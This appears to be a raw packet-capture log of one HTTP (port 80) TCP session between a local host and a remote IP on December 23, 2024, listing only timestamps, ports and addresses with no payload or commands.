Dec 23, 2024 09:00:38.047935009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.047991037 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.048865080 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.049016953 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.049067974 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.049952030 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.050124884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.050170898 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.051044941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.051191092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.051243067 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.052061081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.052247047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.052732944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.053265095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.053440094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.053622961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.054209948 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.054409027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.054536104 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.055309057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.055500031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.055552006 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.056389093 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.056557894 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.056660891 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.057471037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.057653904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.057710886 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.058542013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.058732033 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.058983088 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.059613943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.059788942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.059835911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.060702085 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.060883999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.060945034 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.061779022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.061976910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.062024117 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.062863111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.063054085 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.063251019 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.063954115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.064132929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.064186096 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.065031052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.065207958 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.065251112 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.066129923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.066303015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.066370010 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.067190886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.067365885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.067411900 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.068264008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.068454027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.068507910 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.486207962 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.513627052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.522572994 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.605988979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.606086969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.606143951 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.606420040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.606740952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.606825113 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.607165098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.607424021 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.607541084 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.607856035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.608081102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.608179092 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.608634949 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.608777046 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.608831882 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.609200954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.609370947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.609420061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.609975100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.610146046 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.610227108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.642188072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.642333031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.642435074 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.642659903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.643033981 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.643210888 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.643342972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.643678904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.643754959 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.644187927 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.644340992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.644465923 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.644951105 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.645142078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.645241022 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.645739079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.645967007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.646136045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.646527052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.646784067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.646892071 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.647336960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.647541046 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.647753000 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.648160934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.648413897 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.648473024 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.648963928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.649095058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.649234056 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.649744987 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.649950981 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.650003910 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.650522947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.650752068 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.650820971 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.651329041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.651504993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.651585102 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.652120113 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.652302980 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.652369022 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.652935028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.653090000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.653429985 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.653717995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.653888941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.653961897 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.654514074 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.654695034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.654742002 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.655311108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.655499935 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.655616999 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.656168938 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.656379938 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.656486988 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.657094002 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.657272100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.657351971 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.658015966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.658162117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.658230066 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.658926964 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.659013033 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.659080982 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.659492970 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.659710884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.659858942 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.660255909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.660401106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.660456896 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.660933971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.661072969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.661428928 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.661679029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.661844015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.661915064 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.662436962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.662619114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.662666082 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.663233042 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.663435936 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.663513899 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.664060116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.664258957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.664397001 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.664838076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.665013075 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.665100098 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.665646076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.665822029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.665929079 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.666435957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.666635990 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.666712046 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.667233944 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.667407990 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.667467117 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.668024063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.668205023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.668303013 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.668822050 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.669006109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.669214964 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.669598103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.669797897 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.669857979 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.670500040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.670644999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.670757055 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.671204090 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.671401024 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.672022104 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.672079086 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.672185898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.672281027 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.672775984 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.672956944 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.673091888 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.673559904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.673794985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.673970938 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.674360037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.674530983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.675158978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.675232887 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.675367117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.675451040 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.675981045 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.676287889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.676414013 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.676786900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.676958084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.677637100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.677805901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.677805901 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.678328037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.678499937 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.678533077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.678642988 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.679126978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.679344893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.679593086 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.679968119 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.680135012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.680295944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.680736065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.680943012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.681168079 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.681559086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.681709051 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.681891918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.682346106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.682526112 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.682604074 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.683152914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.683353901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.683597088 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.683960915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.684256077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.684386969 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.684726954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.684899092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.685022116 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.685519934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.685735941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.685878038 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.686372042 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.686491013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.687194109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.687287092 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.687395096 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.687500954 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.687948942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.688172102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.688724995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.688925028 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.688934088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.689217091 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.689503908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.689671040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.689847946 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.690282106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.690522909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.690639973 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.691107988 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.691258907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.691899061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.692075968 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.692116976 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.692414045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.692691088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.692871094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.693101883 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.693454027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.693662882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.693727016 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.694232941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.694432974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.694623947 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.695059061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.695238113 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.695339918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.695864916 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.696096897 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.696208954 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.696646929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.696836948 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.697025061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.697427034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.697659016 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.698245049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.698342085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.698412895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.698523045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.699052095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.699223995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.699337006 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.699832916 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.700025082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.700193882 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.700643063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.700862885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.701128960 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.701426029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.701627970 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.701711893 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.702208042 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.702398062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.702630997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.703038931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.703193903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.703505993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.703808069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.703994989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.704144955 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.704607010 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.704802036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.705142975 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.705441952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.705780983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.706185102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.706228971 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.706438065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.706672907 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.706974983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.707173109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.707290888 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.707825899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.707967997 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.708158970 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.708621025 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.708772898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.708997011 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.709405899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.709563017 CET	80	49794	185.215.113.16	192.168.2.6
